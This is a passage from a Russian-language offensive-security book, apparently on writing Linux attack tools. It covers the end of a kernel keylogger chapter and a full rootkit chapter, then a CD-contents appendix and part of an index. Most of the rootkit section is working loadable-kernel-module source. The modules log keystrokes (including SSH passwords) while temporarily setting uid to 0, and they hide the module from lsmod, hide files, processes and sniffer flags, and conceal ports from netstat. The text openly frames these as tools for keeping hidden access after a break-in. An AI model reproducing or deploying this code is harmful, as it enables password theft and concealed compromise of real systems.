read(0, "l", 1)                         = 1
write(2, "l", 1l)                       = 1
rt_sigprocmask(SIG_BLOCK, NULL, [], 8)  = 0
read(0, "s", 1)                         = 1
write(2, "s", 1s)                       = 1
```



```
rt_sigprocmask(SIG_BLOCK, NULL, [], 8)  = 0
read(0, " ", 1)                         = 1
write(2, " ", 1 )                       = 1
rt_sigprocmask(SIG_BLOCK, NULL, [], 8)  = 0
read(0, "-", 1)                         = 1
write(2, "-", 1-)                       = 1
rt_sigprocmask(SIG_BLOCK, NULL, [], 8)  = 0
read(0, "l", 1)                         = 1
write(2, "l", 11)                       = 1
rt_sigprocmask(SIG_BLOCK, NULL, [], 8)  = 0
read(0, "a", 1)                         = 1
write(2, "a", 1a)                       = 1
rt_sigprocmask(SIG_BLOCK, NULL, [], 8)  = 0
read(0, "\r", 1)                        = 1
write(2, "\n", 1)                       = 1
rt_sigprocmask(SIG_BLOCK, NULL, [], 8)  = 0
```

Далее в функции `hacked_read()` смотрится содержимое буфера `buf`, и все коды из этого буфера накапливаются в буфер `logger_buffer`:

```
static char logger_buffer[512];
...
strncat(logger_buffer, buf, 1);
```

При этом коды специальных клавиш (<F1>–<F12>, <Home>, <End>, <Стрелки>, <Tab> и т. д.) заменяются их текстовыми описаниями, например, вместо кода <F6> в `logger_buffer` будет занесена строка "[F6]":

```
if (buf[0] == 0x37)
  strcat(logger_buffer, "[F6]");
```

Все специальные клавиши имеют многобайтовый код, который начинается с двух байтов 0x1b и затем 0x5b. Это можно увидеть опять-таки с помощью утилиты strace:

```
# strace -xx sh
...
rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0
read(0, "\x1b", 1)                      = 1 // нажата клавиша <F1>
read(0, "\x5b", 1)                      = 1
read(0, "\x5b", 1)                      = 1
write(2, "\x07", 1)                     = 1
rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0
```

```
read(0, "\x41", 1)                          = 1
write(2, "\x41", 1A)                        = 1
rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0
read(0, "\x1b", 1)                          = 1 // нажата клавиша <F2>
read(0, "\x5b", 1)                          = 1
read(0, "\x5b", 1)                          = 1
write(2, "\x07", 1)                         = 1
rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0
read(0, "\x42", 1)                          = 1
write(2, "\x42", 1B)                        = 1
rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0
```

В своей статье mercenary приводит коды всех специальных клавиш:

```
Трехбайтовые коды клавиш:
UpArrow:      0x1B 0x5B 0X41
DownArrow:    0x1B 0x5B 0X42
RightArrow:   0x1B 0x5B 0x43
LeftArrow:    0x1b 0x5B 0x44
Beak(Pause): 0x1b 0x5B 0x50

Четырехбайтовые коды клавиш:
F1:           0x1b 0x5B 0x5B 0x41
F2:           0x1b 0x5B 0x5B 0x42
F3:           0x1b 0x5B 0x5B 0x43
F4:           0x1b 0x5B 0x5B 0x44
F5:           0x1b 0x5B 0x5B 0x45
Ins:          0x1b 0x5B 0x32 0x7E
Home:         0x1b 0x5B 0x31 0x7E
PgUp:         0x1b 0x5B 0x35 0x7E
Del:          0x1b 0x5B 0x33 0x7E
End:          0x1b 0x5B 0x34 0x7E
PgDn:         0x1b 0x5B 0x36 0x7E

Пятибайтовые коды клавиш:
F6:           0x1b 0x5B 0x31 0x37 0x7E
F7:           0x1b 0x5B 0x31 0x38 0x7E
F8:           0x1b 0x5B 0x31 0x39 0x7E
F9:           0x1b 0x5B 0x32 0x30 0x7E
F10:          0x1b 0x5B 0x32 0x31 0x7E
```



```
F11:          0x1b 0x5B 0x32 0x33 0x7E
F12:          0x1b 0x5B 0x32 0x34 0x7E
```

Все эти коды специальных клавиш будут обрабатываться в нашем кейлоггере.

Как только в buf будет обнаружен перенос строки или возврат каретки, т. е. будет осуществлено нажатие клавиши <Enter>, то содержимое logger_buffer будет записано в лог-файл:

```
if (buf[0] == '\r' || buf[0] == '\n') { // Enter?
  strncat(logger_buffer, "\n", 1); // добавляем в буфер перенос строки
  sprintf(test_buffer, "%s", logger_buffer); // копируем в test_buffer
  write_to_logfile(test_buffer); // записываем из test_buffer в лог-файл
  logger_buffer[0] = '\0'; // очищаем буфер logger_buffer
}
```

Как видите, запись осуществляется в функции write_to_logfile(), исходный код которой приведен в листинге 20.1.

Листинг 20.1. Функция, осуществляющая запись в лог-файл

```
int write_to_logfile(char *buffer)
{
  struct file *file = NULL;
  mm_segment_t fs;
  int error, old_uid;

  old_uid = current->uid;     // если пользователь не root,
  current->uid = 0;           // делаем его root, чтобы не возникло
                              // проблем при открытии или создании
                              // временного файла

  file = filp_open(LOGFILE, O_CREAT|O_APPEND, 00666);

  if (IS_ERR(file)) {
    error = PTR_ERR(file);
    goto out;
  }

  error = -EACCES;

  if (!S_ISREG(file->f_dentry->d_inode->i_mode))
```

```
    goto out_err;

  error = -EIO;

  if (!file->f_op->write)
    goto out_err;

  error = 0;

  fs = get_fs();
  set_fs(KERNEL_DS);

  file->f_op->write(file, buffer, strlen(buffer), &file->f_pos);

  set_fs(fs);
  filp_close(file,NULL);

out:
  current->uid = old_uid;     // возвращаем первоначальный UID
  return error;

out_err:
  filp_close(file, NULL);
  goto out;
}
```

Для открытия лог-файла для записи служит функция ядра `filp_open()`, которая возвращает указатель на структуру `file`. В кейлоггере выбрано следующее имя и расположение лог-файла:

```
#define LOGFILE "/tmp/log"
```

Функции `get_fs()` и `set_fs()` позволяют прочитать данные в буфер, размещенный в ядре, а не в пространстве пользователя.

Сборка и установка кейлоггера осуществляется также как сборка и установка обычного модуля для ядер версии 2.6.*x* (*подробную информацию см. в гл. 18*). Не забудьте в Makefile поместить правильное название кейлоггера:

```
obj-m += keylogger.o
```

Вы можете встроить дополнительные возможности в кейлоггер, например, добавление отметки времени, названия и номера терминала, а также UID, под которым пользователь осуществлял ввод.

К сожалению, у кейлоггера, который мы рассмотрели, есть один большой недостаток: он не может перехватывать теневые пароли, вводимые с помощью программ login, su и т. п. (однако я заметил, что при запущенном Midnight Commander в терминале кейлоггер все-таки перехватывает пароли, — в причинах этого я не разбирался). Зато этот кейлоггер без проблем перехватывает пароли, вводимые при авторизации SSH, telnet и др. Ниже показан пример лог-файла, сформированного кейлоггером:

```
ls -la
netstat -na
[Up.Arrow][Up.Arrow][Left.Arrow][Left.Arrow][Down.Arrow]
SSH-2.0-OpenSSH_4.2
SSH-2.0-OpenSSH_4.2
sklyaroff   <-- пароль к ssh
exit
lsmod
```

Чтобы кейлоггер гарантированно перехватывал все пароли, нужно обрабатывать нажатия клавиш на более низком уровне, нежели уровень вызова `sys_read`, например, на уровне драйвера клавиатуры. По этому вопросу еще раз советую обратиться к статье "Writing Linux Kernel Keylogger" в Phrack № 59.

Глава 21

Руткит (rootkit)

Руткит (от англ. *root kit* — комплект root) позволяет хакеру получать привилегированный доступ к взломанной системе в течение продолжительного времени, оставаясь при этом незамеченным. Установка руткита является завершающей стадией взлома, если взломщик его не установит, то администратор быстро обнаружит факт взлома.

Зачем хакеру может понадобиться сохранять скрытый доступ к взломанной системе в течение продолжительного времени? Для разных целей, например, для установки IRC-бота, чтобы анонимно общаться в IRC, или для установки DDoS-зомби, чтобы осуществить впоследствии DDoS-атаку. Хакер также может скрытно установить сниффер на взломанной машине и просматривать все сетевые пакеты на наличие паролей, что позволит ему держать под контролем сеть, в которой находится машина-жертва.

Таким образом, руткит должен уметь скрывать все "следы" хакера на взломанной системе. Под "следами" здесь подразумеваются открытые хакером порты, процессы, переписанные файлы и т. п.

Руткиты делятся на ядерные и неядерные. Ядерные представляют собой один или несколько модулей ядра (LKM), которые устанавливаются в ядро и выполняют все действия по сокрытию "следов" хакера. Неядерные руткиты состоят из множества троянских версий исполняемых системных файлов: ls, ps, top, find, du, ifconfig, netstat, syslogd, login, sshd и т. п. После подмены системных программ и демонов троянскими версиями они не будут отображать хакерские процессы, файлы, установленные соединения и т. д.

Мы в этой главе будем рассматривать только *ядерные* руткиты, т. к. неядерные в настоящее время считаются устаревшими, они легко обнаруживаются средствами контроля целостности файлов, к тому же добавить несколько строчек кода и перекомпилировать исходный код для получения троянской

версии программы может даже человек, не особо сведущий в программировании. Например, только одна строка:

```
if (strstr(msg, "192.168.10.1")) return;
```

вставленная в правильном месте исходного кода syslogd, после компиляции создаст троянскую версию этой программы, которая не будет создавать записи, содержащие IP-адрес 192.168.10.1.

Одним из самых известных неядерных руткитов под Linux был пакет LRK (Linux Root Kit). Чтобы вы могли составить представление о том, как выглядят неядерные руткиты, я добавил пакет LRK на компакт-диск в директорию \PART V\Chapter 21\.

А ниже перечислен стандартный набор возможностей, которые поддерживает любой полноценный *ядерный* руткит:

- Hide Itself (скрытие самого себя). Модуль не появляется в списке загруженных модулей, выдаваемых командой lsmod. Если хакер не скроет модуль, то администратор рано или поздно обнаружит посторонний модуль в системе и удалит его утилитой rmmod;
- File Hider (скрытие файлов). Хакер может установить какие-нибудь программы в системе (сниффер, кейлоггер, бекдор и пр.), которые с помощью данной возможности руткита не будут обнаруживаться в файловой системе;
- Directory Hider (скрытие каталогов). Хакер может хранить в отдельном каталоге нужные ему файлы. С помощью данной возможности руткита он может скрыть сразу весь каталог вместе со всеми файлами;
- Process Hider (скрытие процессов). Подобно скрытию файлов и каталогов, руткит не отображает информацию о запущенных процессах, выдаваемую утилитой ps;
- Sniffer Hider (скрытие работающего сниффера). Руткит подавляет флаг `PROMISC` (неразборчивый режим), выводимый утилитой ifconfig, позволяя тем самым скрыть в системе работу сниффера;
- Hiding from netstat (скрытие информации от утилиты netstat). Руткит позволяет скрыть информацию об открытых портах и установленных соединениях, выдаваемой утилитой netstat;
- Setuid Trojan (троянская версия вызова `setuid`). Автоматически предоставляет пользователю с `UID=<магический номер>` доступ с правами root (*см. гл. 18*).

Для удобства и большей понятности мы отдельно рассмотрим реализацию каждой из перечисленных возможностей (кроме Setuid Trojan) в виде независимых модулей. Однако в реальных руткитах все возможности обычно ком-

понуются в один общий модуль и после его загрузки в ядро нужную возможность хакер может вызывать из командной строки. Для удобства передачи команд руткиту в состав руткита обычно вводится так называемый управляющий файл, которому передаются команды в командной строке. Этот управляющий файл совсем необязательно представляет собой реальный файл, хранящийся на жестком диске, он может находиться только в памяти, являясь в сущности псевдофайлом. В самом рутките, обычно в перехваченном вызове `execve()`, осуществляется проверка параметра `filename`, и если он равен названию псевдофайла, то исполняется код, находящийся в модуле ядра.

При подготовке этой главы я изучил исходные коды многих известных ядерных руткитов таких как: adore-ng, knark, IntoXonia, lkm trojan. Все их можно скачать с портала **http://packetstormsecurity.org**. Многие идеи и участки кода я заимствовал именно из них.

Самый большой недостаток ядерных руткитов заключается в том, что программисты ядер не обеспечивают их обратную совместимость, в результате чего модульный код, написанный для одной версии ядра, может не работать в другой версии. Например, код для ядра 2.6.0 может уже не работать в версии 2.6.12, а тем более в версии 2.4.2. Поэтому для гарантированной работы руткитов их нужно тестировать на множестве версий ядер.

Все исходные коды из этой главы вы можете найти на компакт-диске в директории \PART V\Chapter 21\.

21.1. Скрытие модуля (Hide Itself)

В руткитах под старые ядра (2.0.*x*—2.4.*x*) использовался метод сокрытия модулей, предложенный Solar Designer и описанный в статье "Weakening the Linux Kernel" в 52-м номере электронного журнала Phrack. Этот метод основан на использовании структуры `module`, в которой располагается вся информация о модуле. Эта структура используется системным вызовом `sys_init_module()`, который в свою очередь вызывается `init_module()`. Чтобы удалить модуль из списка, достаточно было найти в памяти адрес структуры `module` и обнулить в ней поля `name` и `refs`. Solar Designer обнаружил, что адрес структуры `module` может располагаться в одном из регистров `%ebx`, `%edi`, `%ebp` и т. д. Требовалось только угадать, в каком точно регистре, правда при неправильном угадывании можно было совсем заблокировать просмотр модулей в системе. Ниже приведена реализация этого способа:

```
int init_module()
{
  register struct module *mp asm("%ebx"); /* здесь нужно подставить
                                             регистр, в котором содержится
                                             адрес структуры module */
  *(char *) (mp->name) = 0;
  mp->size = 0;
  mp->ref = 0;
}
```


В ядрах версии 2.6.*x* этот способ уже не работает. Поэтому в листинге 21.1 приведена реализация другого способа, который, кстати, хорошо подходит под множество версий ядер. С помощью утилиты strace мы можем узнать, какие вызовы задействует утилита lsmod в своей работе:

```
# strace lsmod
...
open("/proc/modules", O_RDONLY) = 6
...
read(6, "hide_module 2440 0 - Live 0xd0db"..., 1024) = 1024
write(1, "hide_module              2440  0 "..., 33) = 33
...
```

Как видите, вызовом `read` читается строка из файла /proc/modules, а затем при помощи вызова `write` она выводится на экран.

Поэтому мы в модуле просто подменяем вызов `write` (можно подменять `read`) и делаем проверку на выполнение lsmod, после чего ищем в буфере имя нашего модуля и в случае его обнаружения просто возвращаем управление, в результате чего информация о модуле не выводится.

Однако этот способ не позволяет скрыть модуль от простого просмотра содержимого файла /proc/modules, в котором содержатся имена всех загруженных модулей. Конечно, мы можем по аналогии сделать дополнительные проверки и удалять информацию о нашем модуле при выводе информации. Но здесь сложность заключается в том, что просмотр файла можно выполнить множеством способов, например, командой `cat /proc/modules` или `dd if=/proc/modules bs=1`, а также в Midnight Commander при помощи клавиши <F4>.

Листинг 21.1. Модуль ядра, скрывающий себя от утилиты lsmod (hide_module.c)

```
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>

MODULE_LICENSE ("GPL");
```

```
/* имя модуля, который требуется скрыть */
#define MODULE_NAME "hide_module"

int (*orig_write)(int, const char*, size_t);

unsigned long* sys_call_table;

void find_sys_call_table(void)
{
  /* Содержимое функции find_sys_call_table() здесь не показано,
  см. разд. 18.2.2 или исходный код на компакт-диске */
}


int new_write(int fd, const char* buf, size_t count)
{
  char *temp;
  int ret;

  /* если выполнена команда lsmod */
  if (!strcmp(current->comm, "lsmod")) {
    /* выделяем память в пространстве ядра и копируем в нее содержимое
    буфера buf  */
    temp = (char *)kmalloc(count + 1, GFP_KERNEL);
    copy_from_user(temp, buf, count);
    temp[count + 1] = 0; /* на всякий случай добавляем конец строки */
    /* если содержится имя нашего модуля */
    if (strstr(temp, MODULE_NAME) != NULL) {
      kfree(temp);  /* освобождаем буфер в куче */
      return count; /* возвращаем результат */
    }
  }

  /* выполняем оригинальный вызов */
  ret = orig_write(fd, buf, count);
  return ret;
}
```



```
int init_module(void)
{
  find_sys_call_table();
  orig_write = (void*)sys_call_table[__NR_write];
  sys_call_table[__NR_write] = (unsigned long)new_write;
  return 0;
}


void cleanup_module(void)
{
  sys_call_table[__NR_write] = (unsigned long)orig_write;
}
```

21.2. Скрытие файлов (File Hider)

Содержимое директории считывается системным вызовом `getdents64` (или просто `getdents` — зависит от версии ядра) — это можно узнать при помощи утилиты strace, как мы делали в предыдущем разделе. Данный вызов использует функция `readdir()`, которая читает содержимое директорий. Результат `getdents64` сохраняется в виде списка структур `struct dirent`, а сам вызов возвращает длину всех записей в каталоге. Для нас интересны два поля этой структуры: `d_reclen` — размер записи и `d_name` — имя файла. Таким образом, для того, чтобы спрятать запись о файле, нам достаточно подменить вызов `getdents64`, затем отыскать в списке полученных структур соответствующую запись и удалить ее (листинг 21.2).

После сборки модуля и его загрузки в ядро вы увидите, что указанный файл, не отображается утилитой ls, а также в файловом менеджере, таком как Midnight Commander. При этом, зная имя скрытого файла, вы легко можете вызывать его на выполнение и осуществлять над ним любые другие операции, например, копирование.

Листинг 21.2. Модуль ядра, прячущий файл в файловой системе (hide_file.c)

```
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/dirent.h>
#include <linux/syscalls.h>
```

```
MODULE_LICENSE ("GPL");

int (*orig_getdents)(u_int fd, struct dirent *dirp, u_int count);

unsigned long* sys_call_table;

static char *hide = "file"; /* имя файла, который будем прятать */

void find_sys_call_table(void)
{
  /* Содержимое функции find_sys_call_table() здесь не показано,
  см. разд. 18.2.2 или исходный код на компакт-диске */
}


int new_getdents(u_int fd, struct dirent *dirp, u_int count)
{
 unsigned int tmp, n;
 int t;

 struct dirent64 {
   int d_ino1, d_ino2;
   int d_off1, d_off2;
   unsigned short d_reclen;
   unsigned char d_type;
   char d_name[0];
 } *dirp2, *dirp3;

 /* определяем длину записей в каталоге */
 tmp = (*orig_getdents)(fd, dirp, count);

 if (tmp > 0) {
   /* выделяем память для структуры в пространстве ядра
   и копируем в нее содержимое каталога */
   dirp2 = (struct dirent64 *)kmalloc(tmp, GFP_KERNEL);
   copy_from_user(dirp2, dirp, tmp);
   /* задействуем вторую структуру и сохраним значение длины записей
      в каталоге */
```



```
   dirp3 = dirp2;
   t = tmp;

   /* ищем наш файл */
   while (t > 0) {
     /* считываем длину первой записи и определяем оставшуюся длину
        записей в каталоге */
     n = dirp3->d_reclen;
     t -= n;

     /* проверяем, не совпало ли имя файла из текущей записи с искомым */
     if (strcmp((char*)&(dirp3->d_name), hide) == NULL) {
       /* если это так, то затираем запись и вычисляем новое значение
       длины записей в каталоге */
       memcpy(dirp3, (char *)dirp3 + dirp3->d_reclen, t);
       tmp -= n;
     }

     /* позиционируем указатель на следующую запись и продолжаем поиск */
     dirp3 = (struct dirent64 *)((char *)dirp3 + dirp3->d_reclen);
   }
   /* возвращаем результат и освобождаем память */
   copy_to_user(dirp, dirp2, tmp);
   kfree(dirp2);
 }

 /* возвращаем значение длины записей в каталоге */
 return tmp;
}


int init_module(void)
{
 find_sys_call_table();
 orig_getdents = (void *)sys_call_table[__NR_getdents64];
 sys_call_table[__NR_getdents64] = (unsigned long)new_getdents;
 return 0;
}
```

```
void cleanup_module()
{
  sys_call_table[__NR_getdents64] = (unsigned long)orig_getdents;
}
```

21.3. Скрытие каталогов (Directory Hider) и процессов (Process Hider)

Для сокрытия каталогов и процессов можно задействовать один и тот же метод. Я узнал о нем в статье "Sub proc_root Quando Sumus (Advances in Kernel Hacking)" из Phrack № 58-06. В этом методе не требуется перехватывать системные вызовы. Суть его заключается в том, что в Linux-устройства и каталоги могут рассматриваться как файлы. Каждый файл (каталог, устройство) представлен в ядре структурой `file`. Структура `file` содержит поле `f_op`, которое в свою очередь указывает на структуру `file_operations`. Структура `file_operations` используется для хранения указателей на функции, производящие различные стандартные операции с файлом, такие как `read()`, `write()`, `readdir()`, `ioctl()` и т. п. Определения обеих структур `file` и `file_operations` вы можете увидеть в файле linux/fs.h.

Если в структуре `file_operations` подменить указатели на функции или подставить вместо них NULL (что будет означать, что данная функция не реализована), то можно изменить поведение конкретного файла (каталога, устройства). Так как нам требуется скрывать каталоги, то удобнее всего подменить указатель на функцию `readdir()`, который представлен в структуре `file_operations` следующим образом:

```
int (*readdir) (struct file *, void *, filldir_t);
```

Данная функция `readdir()` реализует системные вызовы `readdir(2)` и `getdents(2)` для каталогов и игнорируется для обычных файлов.

Мы можем подставить вместо указателя NULL, но тогда вообще не будут отображаться никакие каталоги. В рутките же требуется прятать только отдельные каталоги, поэтому мы будем подменять этот указатель указателем на свою функцию, которая будет отслеживать заданный каталог.

Вспомним, что файловая система /proc содержит по одному каталогу для каждого выполняющегося процесса. Именем каталога является идентификатор процесса. Каталоги появляются и исчезают по мере запуска и завершения процессов. В каждом каталоге имеются файлы, содержащие различную информацию о процессе. Таким образом, если скрыть каталог в файловой системе /proc с именем нужного нам процесса, то он не будет отображаться утилитами ps, top и пр. Именно поэтому метод скрытия каталогов одновременно позволяет нам скрывать процессы в системе. Разумеется, данный метод позволяет не только скрывать каталоги, но и любые другие файлы, в том числе устройства.

Чтобы получить указатель на структуру `file`, необходимо открыть файл (каталог, устройство). В ядре открытие файла осуществляется с помощью функции `filp_open()`. Удобнее открывать корневой каталог для последующего сокрытия в нем нужных файлов (каталогов, устройств). Для указания корневого каталога в нашем модуле введена константа `DIRECTORY_ROOT`. Для сокрытия каталогов в файловой системе /proc нужно присвоить константе значение `"/proc"`, а для сокрытия файлов вне этой системы можно указать корневой каталог `"/"`. Причина, по которой требуется указывать разные корневые каталоги, заключается в том, что /proc является особой файловой системой, которая хранится в памяти компьютера и не связана с жестким диском. Поэтому если открыть корневой каталог `"/"`, то мы не сможем прятать каталоги в файловой системе /proc и наоборот.

В модуле мы подменяем не только указатель на функцию `readdir()`, но и указатель на `filldir`-функцию, который стоит третьим аргументом в функции `readdir()`. В подмененной `filldir`-функции мы делаем проверку на имя каталога, который требуется скрыть, и как только он будет обнаружен, `filldir`-функция вернет 0, в результате чего `readdir()` пропустит этот каталог. Имя обычного файла, каталога или устройства для сокрытия указывается в определении `DIRECTORY_HIDE`.

В ходе экспериментов я выяснил, что имена каталогов хранятся в системе как строки без оканчивающегося нулевого символа, в то время как имена обычных файлов хранятся с оканчивающимся нулевым символом. Поэтому мы для сравнения строк в модуле задействуем функцию `strncmp()`, которая осуществляет проверку только n-первых символов, благодаря чему этой функции можно передавать строки без завершающего нулевого символа (листинг 21.3).

Листинг 21.3. Модуль ядра, скрывающий каталоги и процессы (hide_pid.c)

```
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <net/sock.h>

MODULE_LICENSE ("GPL");
```

```
#define DIRECTORY_ROOT "/proc" /* имя корневого каталога, в котором будем
                                  скрывать файлы, каталоги или устройства */
#define DIRECTORY_HIDE "3774" /* имя каталога, файла или устройства для
                                 сокрытия */

typedef int (*readdir_t)(struct file *, void *, filldir_t);

readdir_t orig_proc_readdir = NULL;
filldir_t proc_filldir = NULL;


int new_filldir(void *buf, const char *name, int nlen, loff_t off,
ino_t ino, unsigned x)
{
  if (!strncmp(name, DIRECTORY_HIDE, strlen(DIRECTORY_HIDE)))
    return 0;

  return proc_filldir(buf, name, nlen, off, ino, x);
}


int our_proc_readdir(struct file *fp, void *buf, filldir_t filldir)
{
  int r = 0;

  proc_filldir = filldir;
  r = orig_proc_readdir(fp, buf, new_filldir);
  return r;
}


int patch_vfs(readdir_t *orig_readdir, readdir_t new_readdir)
{
  struct file *filep;

  if ( (filep = filp_open(DIRECTORY_ROOT, O_RDONLY, 0)) == NULL) {
    return -1;
```



```
  }

  if (orig_readdir)
    *orig_readdir = filep->f_op->readdir;

  filep->f_op->readdir = new_readdir;
  filp_close(filep, 0);

  return 0;
}


int unpatch_vfs(readdir_t orig_readdir)
{
  struct file *filep;

  if ( (filep = filp_open(DIRECTORY_ROOT, O_RDONLY, 0)) == NULL) {
    return -1;
  }

  filep->f_op->readdir = orig_readdir;
  filp_close(filep, 0);
  return 0;
}


int init_module(void)
{
  patch_vfs(&orig_proc_readdir, our_proc_readdir);
  return 0;
}


void cleanup_module(void)
{
  unpatch_vfs(orig_proc_readdir);
}
```

21.4. Скрытие работающего сниффера (Sniffer Hider)

Чтобы подавить флаг PROMISC, можно подменить системный вызов ioctl(), в котором будем делать проверку на установленный флаг и соответственно менять его значение на обратное (листинг 21.4).

Листинг 21.4. Модуль ядра, подавляющий флаг PROMISC в выводе утилиты ifconfig (hide_promisc.c)

```
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/if.h>
#include <linux/syscalls.h>

MODULE_LICENSE ("GPL");

int (*orig_ioctl)(int, int, unsigned long);

unsigned long* sys_call_table;

static int promisc = 0;

void find_sys_call_table(void)
{
  /* Содержимое функции find_sys_call_table() здесь не показано,
  см. разд. 18.2.2 или исходный код на компакт-диске */
}


int new_ioctl(int fd, int request, unsigned long arg)
{
  int reset = 0;
  int ret;
  struct ifreq *ifr;

  ifr = (struct ifreq *)arg;

  if (request == SIOCSIFFLAGS) {
```



```
    if (ifr->ifr_flags & IFF_PROMISC) {
      promisc = 1;
    } else {
      promisc = 0;
      ifr->ifr_flags |= IFF_PROMISC;
      reset = 1;
    }
  }

  ret = (*orig_ioctl)(fd, request, arg);
  if (reset) {
    ifr->ifr_flags &= ~IFF_PROMISC;
  }
  if (ret < 0) return ret;

  if (request == SIOCGIFFLAGS) {
    if (promisc)
      ifr->ifr_flags |= IFF_PROMISC;
    else
      ifr->ifr_flags &= ~IFF_PROMISC;
  }

  return ret;
}


int init_module(void)
{
  find_sys_call_table();
  orig_ioctl = (void *)sys_call_table[__NR_ioctl];
  sys_call_table[__NR_ioctl] = (unsigned long)new_ioctl;
  return 0;
}


void cleanup_module(void)
{
  sys_call_table[__NR_ioctl] = (unsigned long)orig_ioctl;
}
```

21.5. Скрытие информации от утилиты netstat (Hiding from netstat)

Утилита netstat читает информацию из файлов /proc/net/tcp, /proc/net/udp и других (список файлов можно увидеть в man netstat). Поэтому если скрыть нужные строки с информацией о соединении и об открытых портах при чтении из этих файлов, то netstat не будет их отображать на экране.

Однако мы рассмотрим другой способ, который используется в рутките adore-ng (листинг 21.5). Суть этого способа заключается в подмене указателя на функцию `tcp4_seq_show()` в структуре `tcp_seq_afinfo` (определена в файле net/tcp.h). Эту функцию задействует утилита netstat в своей работе. В подмененной функции `hacked_tcp4_seq_show()` мы вызываем функцию `strnstr()` для поиска в `seq->buf` подстроки, которая содержит шестнадцатеричный номер порта, который мы указали для сокрытия.

Листинг 21.5. Модуль ядра, скрывающий информацию от утилиты netstat (hide_netstat.c)

```
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/init.h>
#include <net/tcp.h>

/* константа из файла /net/ipv4/tcp_ipv4.c */
#define TMPSZ 150

/* номер порта для сокрытия */
#define PORT_TO_HIDE 80

MODULE_LICENSE ("GPL");

int (*orig_tcp4_seq_show)(struct seq_file*, void *) = NULL;

char *strnstr(const char *haystack, const char *needle, size_t n)
{
  char *s = strstr(haystack, needle);
  if (s == NULL)
    return NULL;
  if ( (s - haystack + strlen(needle)) <= n)
    return s;
  else
    return NULL;
}

int hacked_tcp4_seq_show(struct seq_file *seq, void *v)
{
  int retval = orig_tcp4_seq_show(seq, v);

  char port[12];

  sprintf(port, "%04X", PORT_TO_HIDE);

  if (strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ))
    seq->count -= TMPSZ;
  return retval;
}

int init_module(void)
{
  struct tcp_seq_afinfo *our_afinfo = NULL;
  struct proc_dir_entry *our_dir_entry = proc_net->subdir;

  while (strcmp(our_dir_entry->name, "tcp"))
    our_dir_entry = our_dir_entry->next;

  if ( (our_afinfo = (struct tcp_seq_afinfo*)our_dir_entry->data))
  {
    orig_tcp4_seq_show = our_afinfo->seq_show;
    our_afinfo->seq_show = hacked_tcp4_seq_show;
  }

  return 0;
}

Void cleanup_module(void)
```

```
{
  struct tcp_seq_afinfo *our_afinfo = NULL;
  struct proc_dir_entry *our_dir_entry = proc_net->subdir;

  while (strcmp(our_dir_entry->name, "tcp"))
    our_dir_entry = our_dir_entry->next;

  if ( (our_afinfo = (struct tcp_seq_afinfo *)our_dir_entry->data))
  {
    our_afinfo->seq_show = orig_tcp4_seq_show;
  }
}
```

Приложение

Описание компакт-диска

Папки	Описание
\PART II	Исходные коды к части "Сетевой боевой софт"
\PART II\Chapter4	Исходные коды к главе "Утилита ping"
\PART II\Chapter5	Исходные коды к главе "Утилита traceroute"
\PART II\Chapter6	Исходные коды к главе "Утилиты для реализации DoS-атак и подделка обратного адреса в пакетах (IP spoofing)"
\PART II\Chapter7	Исходные коды к главе "Порт-сканер (port-scanner)"
\PART II\Chapter8	Исходные коды к главе "CGI-сканер (CGI-scanner)"
\PART II\Chapter9	Исходные коды к главе "Снифферы (sniffers)"
\PART II\Chapter10	Исходные коды к главе "Переборщики паролей (bruteforcers)"
\PART II\Chapter11	Исходные коды к главе "Трояны и бекдоры (trojans and backdoors) "
\PART III	Исходные коды к части "Эксплоиты"
\PART III\Chapter12	Исходные коды к главе "Общие сведения по эксплоитам"
\PART III\Chapter13	Исходные коды к главе "Локальные эксплоиты (local exploits)"
\PART III\Chapter14	Исходные коды к главе "Удаленные эксплоиты (remote exploits)"
\PART IV	Исходные коды к части "Саморазмножающийся боевой софт"

(окончание)

Папки	Описание
\ PART IV\Chapter16	Исходные коды к главе "Вирусы"
\ PART IV\Chapter17	Исходные коды к главе "Черви"
\ PART V	Исходные коды к части "Локальный боевой софт"
\ PART V\Chapter18	Исходные коды к главе "Введение в программирование модулей ядра"
\ PART V\Chapter19	Исходные коды к главе "Лог-клинер (log-cleaner)"
\ PART V\Chapter20	Исходные коды к главе "Регистратор нажатия клавиш (keylogger)"
\ PART V\Chapter21	Исходные коды к главе "Руткит (rootkit)"[1]

[1] В папке \PART V\Chapter 21\ размещен архив с неядерным руткитом lrk5.src.tar.gz, который содержит троянские версии некоторых системных бинарных утилит Linux, таких как ifconfig, netstat и т. п. На эти объекты может указать антивирус при проверке.

Предметный указатель

A

ar 31
arp 32
ARP-spoofer 179, 184
autoconf 28
automake 28

B

BSS Overflow 259
Buffer Overflow 232

C

CGI-сканер 136
ctags 25

E, F

ELF 329
file 30

G

gdb 8
gmake 27
gprof 25

H

Heap Overflow 291
hexdump 29
HTTP-аутентификация 197

I

ICMP-сообщения 50
ifconfig 12
ipcrm 31
ipcs 31

L

ldd 29
LKM 351
lsof 20
ltrace 26

M

make 27
mtrace 26

N

netstat 15
nm 30

O, P

objdump 29
od 29
ping 61

R

ranlib 32
readelf 29, 333

S

size 30
strace 26
strings 29
strip 30

T

tcpdump 21
time 24
traceroute 75
tracert 75

Б

Бекдор 206
  Bind Shell 208
  Connect Back 210
  Wakeup 212
  локальный 206
  удаленный 208

В

Вирус 340
  ELF-инфектор 341

Д, К

Документы RFC 37
  BCP 38
  FYI 38
  STD 38
Кейлоггер 371

Л

Лог-клинер 360
Лог-файл 360
  бинарный 360, 361
  текстовый 360

М

Модель OSI 37
Модуль ядра 351
  загружаемый 351

П

Перебор по словарю 191
Переборщик паролей 190
  локальный 191
  с поддержкой SSH 203
  с поддержкой SSL 202
  удаленный 195
Переполнение буфера:
  в .bss 259
  в куче 291
  в стеке 232
Порт-сканер 109
  nmap 109
  многопоточный 123
  на неблокируемых сокетах 128
Последовательный перебор 194
Протокол 35
  ARP 36
  ICMP 36
  IP 35
  SSH 203
  SSL 202
  TCP 36
  UDP 36
  дейтаграммный 36
  потоковый 36

Р

